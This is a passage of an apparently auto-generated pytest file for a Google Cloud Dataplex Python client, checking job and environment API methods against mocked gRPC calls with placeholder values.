assert args[0] == service.ListJobsRequest()
@pytest.mark.asyncio
async def test_list_jobs_async(
transport: str = "grpc_asyncio", request_type=service.ListJobsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListJobsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListJobsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_jobs_async_from_dict():
await test_list_jobs_async(request_type=dict)
def test_list_jobs_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListJobsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
call.return_value = service.ListJobsResponse()
client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_jobs_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListJobsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListJobsResponse()
)
await client.list_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_jobs_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListJobsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_jobs(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_jobs_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_jobs(
service.ListJobsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_jobs_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListJobsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListJobsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_jobs(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_jobs_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_jobs(
service.ListJobsRequest(),
parent="parent_value",
)
def test_list_jobs_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
tasks.Job(),
],
next_page_token="abc",
),
service.ListJobsResponse(
jobs=[],
next_page_token="def",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
],
next_page_token="ghi",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_jobs(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, tasks.Job) for i in results)
def test_list_jobs_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_jobs), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
tasks.Job(),
],
next_page_token="abc",
),
service.ListJobsResponse(
jobs=[],
next_page_token="def",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
],
next_page_token="ghi",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
],
),
RuntimeError,
)
pages = list(client.list_jobs(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_jobs_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_jobs), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
tasks.Job(),
],
next_page_token="abc",
),
service.ListJobsResponse(
jobs=[],
next_page_token="def",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
],
next_page_token="ghi",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
],
),
RuntimeError,
)
async_pager = await client.list_jobs(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, tasks.Job) for i in responses)
@pytest.mark.asyncio
async def test_list_jobs_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_jobs), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
tasks.Job(),
],
next_page_token="abc",
),
service.ListJobsResponse(
jobs=[],
next_page_token="def",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
],
next_page_token="ghi",
),
service.ListJobsResponse(
jobs=[
tasks.Job(),
tasks.Job(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_jobs(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetJobRequest,
dict,
],
)
def test_get_job(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Job(
name="name_value",
uid="uid_value",
state=tasks.Job.State.RUNNING,
retry_count=1214,
service=tasks.Job.Service.DATAPROC,
service_job="service_job_value",
message="message_value",
)
response = client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetJobRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, tasks.Job)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.state == tasks.Job.State.RUNNING
assert response.retry_count == 1214
assert response.service == tasks.Job.Service.DATAPROC
assert response.service_job == "service_job_value"
assert response.message == "message_value"
def test_get_job_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
client.get_job()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetJobRequest()
@pytest.mark.asyncio
async def test_get_job_async(
transport: str = "grpc_asyncio", request_type=service.GetJobRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
tasks.Job(
name="name_value",
uid="uid_value",
state=tasks.Job.State.RUNNING,
retry_count=1214,
service=tasks.Job.Service.DATAPROC,
service_job="service_job_value",
message="message_value",
)
)
response = await client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetJobRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, tasks.Job)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.state == tasks.Job.State.RUNNING
assert response.retry_count == 1214
assert response.service == tasks.Job.Service.DATAPROC
assert response.service_job == "service_job_value"
assert response.message == "message_value"
@pytest.mark.asyncio
async def test_get_job_async_from_dict():
await test_get_job_async(request_type=dict)
def test_get_job_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetJobRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
call.return_value = tasks.Job()
client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_job_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetJobRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(tasks.Job())
await client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_job_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Job()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_job(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_job_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_job(
service.GetJobRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_job_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = tasks.Job()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(tasks.Job())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_job(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_job_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_job(
service.GetJobRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.CancelJobRequest,
dict,
],
)
def test_cancel_job(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.cancel_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CancelJobRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_cancel_job_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
client.cancel_job()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CancelJobRequest()
@pytest.mark.asyncio
async def test_cancel_job_async(
transport: str = "grpc_asyncio", request_type=service.CancelJobRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.cancel_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CancelJobRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_cancel_job_async_from_dict():
await test_cancel_job_async(request_type=dict)
def test_cancel_job_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CancelJobRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
call.return_value = None
client.cancel_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_cancel_job_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CancelJobRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.cancel_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_cancel_job_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.cancel_job(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_cancel_job_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.cancel_job(
service.CancelJobRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_cancel_job_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.cancel_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.cancel_job(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_cancel_job_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.cancel_job(
service.CancelJobRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.CreateEnvironmentRequest,
dict,
],
)
def test_create_environment(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_environment_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
client.create_environment()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateEnvironmentRequest()
@pytest.mark.asyncio
async def test_create_environment_async(
transport: str = "grpc_asyncio", request_type=service.CreateEnvironmentRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_environment_async_from_dict():
await test_create_environment_async(request_type=dict)
def test_create_environment_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateEnvironmentRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_environment_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateEnvironmentRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_create_environment_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_environment(
parent="parent_value",
environment=analyze.Environment(name="name_value"),
environment_id="environment_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].environment
mock_val = analyze.Environment(name="name_value")
assert arg == mock_val
arg = args[0].environment_id
mock_val = "environment_id_value"
assert arg == mock_val
def test_create_environment_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_environment(
service.CreateEnvironmentRequest(),
parent="parent_value",
environment=analyze.Environment(name="name_value"),
environment_id="environment_id_value",
)
@pytest.mark.asyncio
async def test_create_environment_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_environment(
parent="parent_value",
environment=analyze.Environment(name="name_value"),
environment_id="environment_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].environment
mock_val = analyze.Environment(name="name_value")
assert arg == mock_val
arg = args[0].environment_id
mock_val = "environment_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_environment_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_environment(
service.CreateEnvironmentRequest(),
parent="parent_value",
environment=analyze.Environment(name="name_value"),
environment_id="environment_id_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.UpdateEnvironmentRequest,
dict,
],
)
def test_update_environment(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_environment_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
client.update_environment()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateEnvironmentRequest()
@pytest.mark.asyncio
async def test_update_environment_async(
transport: str = "grpc_asyncio", request_type=service.UpdateEnvironmentRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateEnvironmentRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_environment_async_from_dict():
await test_update_environment_async(request_type=dict)
def test_update_environment_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateEnvironmentRequest()
request.environment.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"environment.name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_environment_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateEnvironmentRequest()
request.environment.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_environment(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"environment.name=name_value",
) in kw["metadata"]
def test_update_environment_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_environment(
environment=analyze.Environment(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].environment
mock_val = analyze.Environment(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_environment_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_environment(
service.UpdateEnvironmentRequest(),
environment=analyze.Environment(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_environment_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_environment), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
